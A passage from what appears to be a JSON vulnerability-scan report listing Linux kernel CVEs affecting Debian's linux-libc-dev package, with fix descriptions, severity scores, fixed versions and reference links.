"https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/b809d0409991b75a6cff846a5ac27c3062953f84%20%287.1-rc5%29", "https://git.kernel.org/stable/c/01f7f893d5e1baae995beeb86cd0f3e6bb2a3b01", "https://git.kernel.org/stable/c/355e9f2b2a7887ca38100127989af3e422ba71d0", "https://git.kernel.org/stable/c/5ddc715324badd7f2641bc177db1d027b402adae", "https://git.kernel.org/stable/c/763a372d344fb12fae566d36ddb46e92454ad58c", "https://git.kernel.org/stable/c/b809d0409991b75a6cff846a5ac27c3062953f84", "https://git.kernel.org/stable/c/fa627a5eaa83fc0261f44ef3769693b886ca6e27", "https://git.kernel.org/stable/c/ff1d5af207bcea857d45fe81505f1bc4b29eaef0", "https://linux.oracle.com/cve/CVE-2026-64018.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026071901-CVE-2026-64018-43bb@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64018", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64018" ], "PublishedDate": "2026-07-19T16:17:41.79Z", "LastModifiedDate": "2026-10-19T21:17:19.547Z" }, { "VulnerabilityID": "CVE-2026-64026", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64026", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f50a1104c8226829251f59225fc69a6e6f816692901603c7aeabb924806d239d", "Title": "kernel: rxrpc: Fix DATA decrypt vs splice() by copying data to buffer in recvmsg", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: Fix DATA decrypt vs splice() by copying data to buffer in recvmsg\n\nThis improves the fix for CVE-2026-43500.\n\nFix the pagecache corruption from in-place decryption of a DATA packet\ntransmitted locally by splice() by getting rid of the packet sharing in the\nI/O thread and unconditionally extracting the packet content into a bounce\nbuffer in which the buffer is decrypted. recvmsg() (or the kernel\nequivalent) then copies the data from the bounce buffer to the destination\nbuffer. The sk_buff then remains unmodified.\n\nThis has an additional advantage in that the packet is then arranged in the\nbuffer with the correct alignment required for the crypto algorithms to\nprocess directly. The performance of the crypto does seem to be a little\nfaster and, surprisingly, the unencrypted performance doesn't seem to\nchange much - possibly due to removing complexity from the I/O thread.\n\nYet another advantage is that the I/O thread doesn't have to copy packets\nwhich would slow down packet distribution, ACK generation, etc..\n\nThe buffer belongs to the call and is allocated initially at 2K,\nsufficiently large to hold a whole jumbo subpacket, but the buffer will be\nincreased in size if needed. However, to take this work, MSG_PEEK may\ncause a later packet to be decrypted into the buffer, in which case the\nearlier one will need re-decrypting for a subsequent recvmsg().\n\nNote that rx_pkt_offset may legitimately see 0 as a valid offset now, so\nswitch to using USHRT_MAX to indicate an invalid offset.\n\nNote also that I would generally prefer to replace the buffers of the\ncurrent sk_buff with a new kmalloc'd buffer of the right size, ditching the\nold data and frags as this makes the handling of MSG_PEEK easier and\nremoves the re-decryption issue, but this looks like quite a complicated\nthing to achieve. skb_morph() looks half way to what I want, but I don't\nwant to have to allocate a new sk_buff.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-362" ], "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64026", "https://git.kernel.org/linus/d2bc90cf6c75cb96d2ce549be6c35efa3099d25b%20%287.1-rc5%29", "https://git.kernel.org/stable/c/46cb765e2e5ad52303ea157e10d370bb6b7acbbf", "https://git.kernel.org/stable/c/a05bf6d9e621fa71e89ccebe3047ba45218d7b38", "https://git.kernel.org/stable/c/b94a6ccbaf1104dd980150a65fdeb2f69d17d2f5", "https://git.kernel.org/stable/c/c580087743712112778a06d65a4074053072d7bf", "https://git.kernel.org/stable/c/d2bc90cf6c75cb96d2ce549be6c35efa3099d25b", "https://lore.kernel.org/linux-cve-announce/2026071902-CVE-2026-64026-372d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64026", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64026" ], "PublishedDate": "2026-07-19T16:17:42.643Z", "LastModifiedDate": "2026-10-19T21:17:20.06Z" }, { "VulnerabilityID": "CVE-2026-64034", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64034", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:33d99d5ba8245171fd028045af3125486046fdce28d5f15907e28617919aad35", "Title": "kernel: net: mana: Fix TOCTOU double-fetch of hwc_msg_id from DMA buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: mana: Fix TOCTOU double-fetch of hwc_msg_id from DMA buffer\n\nIn mana_hwc_rx_event_handler(), resp-\u003eresponse.hwc_msg_id is read from\nDMA-coherent memory and bounds-checked, then mana_hwc_handle_resp()\nre-reads the same field from the same DMA buffer for test_bit() and\npointer arithmetic.\n\nDMA-coherent memory is mapped uncacheable on x86 and is shared,\nunencrypted, in Confidential VMs (SEV-SNP/TDX), so each load goes\ndirectly to host-visible memory. A H/W can modify the value\nbetween the check and the use, bypassing the bounds validation.\n\nFix this by reading hwc_msg_id exactly once using READ_ONCE() into a\nstack-local variable in mana_hwc_rx_event_handler(), and passing the\nvalidated value as a parameter to mana_hwc_handle_resp().", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:66180", "https://access.redhat.com/security/cve/CVE-2026-64034", "https://bugzilla.redhat.com/2467065", "https://bugzilla.redhat.com/2468102", "https://bugzilla.redhat.com/2479812", "https://bugzilla.redhat.com/2481936", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2484456", "https://bugzilla.redhat.com/2486463", "https://bugzilla.redhat.com/2486999", "https://bugzilla.redhat.com/2492329", "https://bugzilla.redhat.com/2492811", "https://bugzilla.redhat.com/2492841", "https://bugzilla.redhat.com/2501252", "https://bugzilla.redhat.com/2502394", "https://bugzilla.redhat.com/2510892", "https://bugzilla.redhat.com/2511932", "https://bugzilla.redhat.com/2516731", "https://bugzilla.redhat.com/2517046", "https://bugzilla.redhat.com/show_bug.cgi?id=2467065", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2479812", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2486999", "https://bugzilla.redhat.com/show_bug.cgi?id=2492329", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2501252", "https://bugzilla.redhat.com/show_bug.cgi?id=2502394", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://bugzilla.redhat.com/show_bug.cgi?id=2516731", "https://bugzilla.redhat.com/show_bug.cgi?id=2517046", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43493", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46330", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72129", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74480", "https://errata.almalinux.org/9/ALSA-2026-66180.html", "https://errata.rockylinux.org/RLSA-2026:66180", "https://git.kernel.org/linus/35f0f0a2536a4d604b4dbad92c85c4a8fdebb870%20%287.1-rc5%29", "https://git.kernel.org/stable/c/09ec063d87c2dd3fa6f3561361a017bd882e9f37", "https://git.kernel.org/stable/c/35f0f0a2536a4d604b4dbad92c85c4a8fdebb870", "https://git.kernel.org/stable/c/3c4db56ccd13dd020fbf43afabaee74a40ec75e4", "https://git.kernel.org/stable/c/566f42fb67a7ebfed6650e407e5b72e6b3e83bf7", "https://git.kernel.org/stable/c/6180a06bbc99fd9114b8db4be6c4d46e40f046ef", "https://git.kernel.org/stable/c/70ad2dff8d052a85dfef15715b531f38a29108cf", "https://git.kernel.org/stable/c/a201c66edf2ebc6cfdc3813a889ba20fecebfae3", "https://linux.oracle.com/cve/CVE-2026-64034.html", "https://linux.oracle.com/errata/ELSA-2026-75576.html", "https://lore.kernel.org/linux-cve-announce/2026071904-CVE-2026-64034-6fd0@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64034", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64034" ], "PublishedDate": "2026-07-19T16:17:43.62Z", "LastModifiedDate": "2026-10-19T21:17:20.953Z" }, { "VulnerabilityID": "CVE-2026-64085", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64085", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:955ba62aad5f3aa680c2778534c8ba59aed64cf3b9243f12789c10c8bb086bce", "Title": "kernel: hwmon: (pmbus/adm1266) bounce blackbox records through a protocol-sized buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nhwmon: (pmbus/adm1266) bounce blackbox records through a protocol-sized buffer\n\nadm1266_pmbus_block_xfer() copies the device-supplied block payload\ninto the caller-provided buffer using the device-supplied length:\n\n\tmemcpy(data_r, \u0026msgs[1].buf[1], msgs[1].buf[0]);\n\nThe helper does not know how large data_r is and trusts the device to\nreturn at most one record's worth of bytes. adm1266_nvmem_read_blackbox()\nviolates that contract: it advances read_buff inside data-\u003edev_mem in\nADM1266_BLACKBOX_SIZE (64-byte) strides while the helper is willing to\nwrite up to ADM1266_PMBUS_BLOCK_MAX (255) bytes. A device that returns\nmore than 64 bytes on the trailing record (read_buff offset 1984 in\nthe 2048-byte dev_mem allocation) overflows dev_mem by up to 191 bytes\nbefore the post-call\n\n\tif (ret != ADM1266_BLACKBOX_SIZE)\n\t\treturn -EIO;\n\ncan reject the response.\n\nContain the fix in the caller without changing the helper signature:\nread each record into a 255-byte local bounce buffer that matches the\nhelper's maximum output, validate the returned length, and only then\ncopy exactly ADM1266_BLACKBOX_SIZE bytes into the dev_mem slot.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64085", "https://git.kernel.org/linus/43cae21424ff8e33894a0f86c6b80b840c049fd7%20%287.1-rc5%29", "https://git.kernel.org/stable/c/43cae21424ff8e33894a0f86c6b80b840c049fd7", "https://git.kernel.org/stable/c/6098634cfa711f11a8d65368dc51ec8f7c8241ba", "https://git.kernel.org/stable/c/60c4b9fe1a3dd012014b1f561a6928a0b5db1126", "https://git.kernel.org/stable/c/7896d87cbb05e097efc113243d4e38f9f8cea16c", "https://git.kernel.org/stable/c/83e039f0a43e0708515b0479cb7690fb93faaaa0", "https://git.kernel.org/stable/c/97a9cf2a8217ca1cdaf48cb9ab26e471632c7e7f", "https://git.kernel.org/stable/c/9d5309500b4607b7198e19f0a3fa13eb864cd5fb", "https://git.kernel.org/stable/c/dd47b8c4a0a8ced442da3f008db28fbbd31feaf0", "https://lore.kernel.org/linux-cve-announce/2026071916-CVE-2026-64085-d28f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64085", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64085" ], "PublishedDate": "2026-07-19T16:17:49.173Z", "LastModifiedDate": "2026-09-03T12:36:50.037Z" }, { "VulnerabilityID": "CVE-2026-64103", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64103", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cda0968b798fa34cf33406c213f85ed82beb924c65993002756367c7c85e5d1e", "Title": "kernel: scsi: isci: Fix use-after-free in device removal path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: isci: Fix use-after-free in device removal path\n\nThe ISCI completion tasklet is initialized in isci_host_alloc()\n(drivers/scsi/isci/init.c:496) and scheduled from both MSI-X and legacy\ninterrupt handlers (drivers/scsi/isci/host.c:223,613).\n\nisci_host_deinit() stops the controller and waits for stop completion,\nbut it never kills completion_tasklet before teardown continues. A\ntop-of-function tasklet_kill() is not sufficient here: interrupts are\nonly disabled when isci_host_stop_complete() runs, so until\nwait_for_stop() returns the IRQ handlers can still requeue the\ntasklet. The tasklet callback also re-enables interrupts after draining\ncompletions, so killing the tasklet before the source is quiesced leaves\nthe same race open.\n\nOnce wait_for_stop() returns, no further IRQ-driven scheduling can\noccur. Kill completion_tasklet there so teardown cannot race a queued\ntasklet running on a dead ihost. On remove or unload, the stale callback\ncan otherwise dereference ihost and touch ihost-\u003esmu_registers after the\nhost lifetime ends.\n\nA UML + KASAN analogue reproduced the failure class both with no\ntasklet_kill() and with tasklet_kill() placed before source quiesce, and\nstayed clean once the kill happened after quiescing the scheduling\nsource.\n\nThis mirrors commit f6ab594672d4 (\"scsi: aic94xx: fix use-after-free in\ndevice removal path\"), but ISCI needs the kill after wait_for_stop().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64103", "https://git.kernel.org/linus/b52a8d52c3125ec9a93106ed816582368de34426%20%287.1-rc5%29", "https://git.kernel.org/stable/c/1412995e10c74644b47f242aea6e4f3d4180e806", "https://git.kernel.org/stable/c/309c6058622d080fe8c2fab87c30da82d834d989", "https://git.kernel.org/stable/c/6d40f2f103bb30f52f3dbadbe2c3fdf274a9763c", "https://git.kernel.org/stable/c/a83d3e4daba40d49324cec1c51ed261e1ea48cf1", "https://git.kernel.org/stable/c/ab2266601a875982f2d2033f41e070a6d5e615e2", "https://git.kernel.org/stable/c/b52a8d52c3125ec9a93106ed816582368de34426", "https://git.kernel.org/stable/c/b9ff8631006233ba246828ac70409d2cb2da38d3", "https://git.kernel.org/stable/c/cb9e72c50e6c81a5903f27e0b397ce8525d7539b", "https://kernelcve.org/list/?q=CVE-2026-64103", "https://linux.oracle.com/cve/CVE-2026-64103.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026071920-CVE-2026-64103-24fe@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64103", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64103" ], "PublishedDate": "2026-07-19T16:17:51.533Z", "LastModifiedDate": "2026-11-06T17:18:36.3Z" }, { "VulnerabilityID": "CVE-2026-64113", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64113", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2fb4b2001ce20fc8465a17c87de652c72a79db8530faa553095d49433530e206", "Title": 